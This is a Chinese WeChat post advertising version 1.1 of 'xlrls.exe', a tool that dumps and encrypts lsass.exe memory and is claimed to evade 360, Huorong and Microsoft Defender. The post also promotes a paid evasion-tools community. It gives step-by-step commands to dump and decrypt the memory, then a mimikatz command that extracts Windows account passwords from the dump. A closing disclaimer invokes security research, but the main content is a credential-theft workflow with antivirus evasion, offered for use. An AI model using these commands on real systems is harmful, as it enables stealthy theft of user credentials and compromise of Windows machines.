【版本更新】导出 Lsass.exe 内存工具 过360 火绒 微软 xlrls v1.1发布！

现在只对常读和星标的公众号才展示大图推送，建议大家能把星落安全团队“设为星标”，否则可能就看不到了啦！

    xlrls.exe程序是是一种dump lsass.exe 内存工具，到目前为止可以过360动态、火绒、微软win10  微步云沙箱全绿。

v1.1 版本更新：

• 对生成的dmp文件进行加密

• 增加过win10 的微软免杀效果

1.直接运行 xlrls.exe程序 然后跟上 “-k” 参数 指定密码 即可导出 lsass.exe程序内存，生成 1727017164046.dmp加密文件。

xlrls.exe -k all

2.然后把对1727017164046.dmp加密文件进行解密

xlrls.exe -d dec -f 1727013527426.dmp

3.然后在命令行中利用mimikatz 读取 1727017232602.dmp 文件，从而输出windows用户账号、密码等敏感信息。

mimikatz.exe "sekurlsa::minidump 1727017232602.dmp" "sekurlsa::logonPasswords full" "exit"

火绒：

物理机360：

win10微软：

圈子目前价格为198元(交个朋友啦！)，100名以后涨价至228元！

星落免杀星球资源维护表

关注微信公众号后台回复“入群”，即可进入星落安全交流群！

【声明】本文所涉及的技术、思路和工具仅用于安全测试和防御研究，切勿将其用于非法入侵或攻击他人系统以及盈利等目的，一切后果由操作者自行承担！！！